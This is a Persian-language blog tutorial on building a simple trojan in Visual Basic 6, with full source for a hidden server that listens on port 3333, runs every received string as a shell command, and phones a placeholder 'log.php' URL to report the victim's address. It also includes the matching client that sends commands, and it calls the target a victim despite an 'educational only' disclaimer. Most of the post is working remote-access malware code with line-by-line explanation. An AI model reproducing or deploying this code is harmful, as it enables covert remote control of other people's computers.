۱۱.۲۳.۱۳۸۷

یک تروجان ساده

توجه :
این جانب نویسنده این مقاله هیچ مسئولیتی در قبال استفاده شما از مطالب این مقاله را بر عهده نمی گیرم زیرا این مقاله فقط جنبه آموزشی دارد و در صورتی که با این موضوع موافق نیستید از خواندن ادامه این مقاله پرهیز کنید .
خوب , اگه دنبال یه مقاله خوب واسه تروجان نویسی با ویژوال بیسیک 6 هستید فکر میکنم مقاله خوبی پیش روی شماست البته این مقاله خیلی مختصر هستش ولی اگه در آینده وقتشو داشتم یه مقاله مفصل در این باره مینویسم .
بزارید این اول یه توضیح مختصری در مورد تروجان بدم و اینکه تروجانها چطوری کار میکنند .
یه تروجان یا بهتره بگم یک اسب تروجان کامپیوتری مثل یه برنامه ساده هستش که ازش انتظار انجام کار خاصی رو میشه ولی در اصل اون برنامه کارهای مخفیه دیگه ای رو انجام میده . خیلی ساده هدف ما اونو دانلود میکنه به گمان اینکه یه برنامه خوب باشه مثلا یه بازی جذاب ولی وقتی اونو اجرا میکنه تروجان مثل یه سرور شروع به کار میکنه حالا اینکه سرور چیه فکر نمی کنم به موضوع این مقاله زیاد ربطی داشته باشه ولی به عنوان یک تعریف ساده میشه گفت برنامه ای که پاسخ گوی درخواستها باشه رو بهش میگن سرور .
خوب حالا یه تروجان چطوری کار میکنه ؟
ما دو تا فایل داریم که یکیش سرور هستش و یکی هم کلاینت که کار این کلاینت درخواست کردن هستش حالا درخواست چی ؟ دیگه دیگه ...!!!
این سرور همون فایلی هستش که ما واسه هدفمون می فرستیم و این کلاینت مرکز کنترل سرور هستش . این سرور و کلاینت برای ایجاد ارتباط با هم نیاز به یه کنترلی دارند به نام winsock .
winsock یکی از کنترل های ویژوال بیسیک هستش که اجازه ارتباط میان کامپیوتر ها رو به ما میده . مثلا فکر کنید که ما دستور خاموش کردن رو به سرور میفرستیم . این وینساک به ما کمک میکنه تا اطلاعات رو از کامپیوتر خودمون به سرور بفرستیم . خوب حالا اونور داستان وقتی اطلاعات به کامپیوتر هدف رسید اونجا یه سوراخی هستش که به سرور میگه این بچه دباره کرمش گرفته کامپیوتر این بد بخت رو خاموش کنه و سرور هم به کامپیوتر هدف میگه که خاموش شه و اون بدبختم که احتمالا 24 ساعته که روشنه از خدا خواسته ...
حالا دیگه داستان تعریف کردن بسه بریم سر اصل مطلب
این کد هایی که این زیر مشاهده میکنید کدهای فایل server.exe هستش . توجه کنید که شما به کنترل وینساک نیاز دارید پس دکمه های Ctl + T رو باهم فشار دهید و از پینجره ای که باز میشه دنبال Microsoft Winsock Control 6.0 بگردین . بعد از اضافه کردن اسمشو بزارید winsock1 .
خوب حالا بیاید ببینیم این کدها چیکار میکنند
Private Sub Form_Load() Me.Hide If Winsock1.State <>; sckClosed Then Winsock1.Close Winsock1.LocalPort = 3333 Winsock1.Listen Shell ("explorer http://www.yoursite/log.php")End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed Then Winsock1.Close Winsock1.Accept requestIDEnd Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim data As String Winsock1.GetData data Shell data, vbNormalFocusEnd Sub

me.hide اگه کسی ندونه این چیه که خیلی باحاله If Winsock1.State <> sckClosed Then Winsock1.Close وقتی صفحه لود میشه همه ارتباط های مربوط به وینساکمونو میبندهWinsock1.LocalPort = 3333 پورت وینساک رو تنظیم میکنه یعنی از این پورت میشه بهش کانکت شدWinsock1.Listen خوب حالا وینساک گوش به زنگ میمونه تا یکی بهش کانکت شهShell ("explorer http://www.yoursite/log.php") این یه کد اختیاری برای فهمیدن آدرس های فعال میشه از روشهای دیگه ای آیپی هدف رو در اختیار خودمون قرار بدیمPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)درخواست ارتباط رو فعال میکنه If Winsock1.State <> sckClosed Then Winsock1.Close Close اگه ارتباطی فعال باشه اونو قطع میکنه Winsock1.Accept خوب حالا ارتباط مورت تائید قرار میگیرهPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) وقتی داده ای بیاد فعال میشه مثل وقتی که دستوری بفرستیم واسش Dim Data As String خوب حالا یه متغیر تعریف کردیمWinsock1.GetData Data خوب حالا داده ها که همون دستورات هستند رو دریافت میکنیمShell data, vbNormalFocus به به اینهمه زور زدیم که به همین جا برسیم حالا داده های رسیده مثل یه دستور اجرا میشه مثلا اگه بنویسیم shutdown -s -t 10 و ارسال کنیم کامپیوتر قربانی بعد از مدت 10 ثانیه خاموش میشه
خوب حالا نوبت کلاینت هستش . کد زیر کد فایل client.exe هستش که توی فرممون نیاز به یه دونه وینساک به نام winsock1 و سه تا تکست باکس به نام های textbox 1 , textbox2 , twxtbox3 و همچنین 2 تا کامند باتن به نامهای command1 , command 2 داریم
Private Sub Command1_Click() Winsock1.RemotePort = Text2.Text Winsock1.RemoteHost = Text1.Text Winsock1.ConnectEnd Sub
Private Sub Command2_Click() Winsock1.SendData Text3.TextEnd Sub
Private Sub Form_Load() If Winsock1.State <> sckClosed Then Winsock1.CloseEnd Sub
Private Sub Winsock1_Connect() msgbox ("Connected!")End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) MsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error"End Sub
خوب حالا ببینیم این کدها چیکار میکنند
Private Sub Command1_Click() وقتی کامند 1 کلیک میشه اجرا میشهWinsock1.RemotePort = Text2.Text پورت کامپیوتر قربانی به اون چیزی که توی تکستباکس 2 نوشته شده تنظیم میشه Winsock1.RemoteHost = Text1.Text آدرس کامپیوتر قربانی رو به اونچیزی که توی تکستباکس 1 نوشته شده تنظیم میکنه Winsock1.Connect جهت ایجاد ارتباط با هدف شروع به تلاش کردن میکنهPrivate Sub Command2_Click() وقتی کامند 2 فشرده میشهWinsock1.SendData Text3.Text داده های درون تکستباکس 3 رو برای کامپیوتر هدف ارسال میکنهPrivate Sub Form_Load() When client startedIf Winsock1.State <> sckClosed Then Winsock1.Close وقتی فرم لود میشه اگه وینساک مون ارتباط فعالی داشده باشه اونو قطع میکنهPrivate Sub Winsock1_Connect() وقتی وینساک کانکت میشهmsgbox ("Connected!") ایجاد ارتباط رو اعلام میکنهPrivate Sub Winsock1_Error(...) وقتی خطایی رخ بدهMsgBox ("Error!" + vbCrLf + Description), vbCritical, "Winsock error" خطا اعلام میشه
خیلی ساده بود نه؟ اگه دیدم که این مقاله مورد علاقه قرار گرفت شاید قسمت دومش رو هم بنویسم البته خیلی عمقی تر و پیشرفته تر از یه تروجان ساده داس .

هیچ نظری موجود نیست:

http://up.iranblog.com/images/0z5dgraxwa4j49a5ts77.gif http://up.iranblog.com/images/gv83ah5giec9g8jkopmc.gif